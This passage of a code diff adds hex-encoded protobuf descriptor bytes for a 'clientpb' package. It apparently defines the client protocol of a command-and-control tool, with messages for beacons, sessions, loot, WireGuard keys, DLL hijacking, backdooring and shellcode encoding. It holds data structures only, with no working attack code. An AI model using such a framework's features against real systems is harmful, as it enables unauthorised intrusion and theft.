+ 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e,
+ 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b,
+ 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72,
+ 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0xed,
+ 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, 0x6e,
+ 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, 0x65,
+ 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f,
+ 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73,
+ 0x69, 0x6f, 0x6e, 0x12, 0x28, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x03, 0x20,
+ 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42,
+ 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1f, 0x0a,
+ 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69,
+ 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28,
+ 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61,
+ 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03,
+ 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x36,
+ 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e,
+ 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69,
+ 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f,
+ 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65,
+ 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
+ 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28,
+ 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65,
+ 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f,
+ 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a,
+ 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a,
+ 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01,
+ 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11,
+ 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
+ 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
+ 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74,
+ 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d,
+ 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a,
+ 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12,
+ 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e,
+ 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22,
+ 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65,
+ 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50,
+ 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68,
+ 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a,
+ 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a,
+ 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d,
+ 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20,
+ 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57,
+ 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45,
+ 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51,
+ 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12,
+ 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65,
+ 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b,
+ 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43,
+ 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38,
+ 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a,
+ 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32,
+ 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69,
+ 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a,
+ 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12,
+ 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62,
+ 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69,
+ 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12,
+ 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18,
+ 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62,
+ 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18,
+ 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22,
+ 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08,
+ 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79,
+ 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e,
+ 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74,
+ 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01,
+ 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65,
+ 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+ 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07,
+ 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18,
+ 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49,
+ 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61,
+ 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61,
+ 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02,
+ 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
+ 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20,
+ 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04,
+ 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
+ 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65,
+ 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65,
+ 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09,
+ 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
+ 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f,
+ 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a,
+ 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06,
+ 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
+ 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61,
+ 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69,
+ 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65,
+ 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22,
+ 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08,
+ 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61,
+ 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
+ 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
+ 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61,
+ 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61,
+ 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a,
+ 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73,
+ 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22,
+ 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71,
+ 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c,
+ 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65,
+ 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e,
+ 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61,
+ 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63,
+ 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65,
+ 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67,
+ 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72,
+ 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c,
+ 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f,
+ 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
+ 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07,
+ 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e,
+ 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,
+ 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c,
+ 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e,
+ 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65,
+ 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8c, 0x01, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64,
+ 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61,
+ 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61,
+ 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d,
+ 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65,
+ 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01,
+ 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75,
+ 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
+ 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65,
+ 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f,
+ 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
+ 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73,
+ 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45,
+ 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f,
+ 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e,
+ 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x22,
+ 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x02,
+ 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75,
+ 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73,
+ 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f,
+ 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x04,
+ 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12,
+ 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61,
+ 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20,
+ 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52,
+ 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22,
+ 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f,
